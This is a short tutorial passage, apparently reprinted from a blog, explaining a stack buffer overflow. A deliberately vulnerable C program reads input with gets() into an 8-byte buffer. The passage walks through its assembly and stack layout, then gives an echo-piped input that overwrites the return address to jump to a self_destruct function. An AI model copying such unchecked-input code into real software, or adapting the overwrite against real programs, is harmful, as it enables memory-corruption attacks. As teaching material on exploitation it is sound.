Basically, a reprint of the first section of http://nullprogram.com/blog/2017/01/21/
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| #include <stdio.h>
void self_destruct(void) { puts("**** GO BOOM! ****"); }
int main(void) { char name[8]; gets(name); printf("Hello, %s.\n", name); return 0; }
|
If we inspect the assembly, clang -O -S -fno-stack-protector so.c
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| main: # @main .cfi_startproc # %bb.0: pushq %rbx .cfi_def_cfa_offset 16 subq $16, %rsp .cfi_def_cfa_offset 32 .cfi_offset %rbx, -16 leaq 8(%rsp), %rbx xorl %eax, %eax movq %rbx, %rdi callq gets movl $.L.str.1, %edi xorl %eax, %eax movq %rbx, %rsi callq printf xorl %eax, %eax addq $16, %rsp popq %rbx retq
|
Then, we can draw the stack layout map:
1 2 3 4
| sp + 24 [return add for main] // pushq %rbx sp + 16 sp + 8 // name sp
|
Therefore, we can pass 24 bytes to overwrite the return address for main using the function address of self_destruct
as shown below:
1 2 3
| $ readelf -s a.out | grep self 00000000004005a0 $ clang -O -fno-stack-protector so.c ; echo -ne 'xxxxxxxxyyyyyyyy\xa0\x05\x40\x00\x00\x00\x00\x00' | ./a.out
|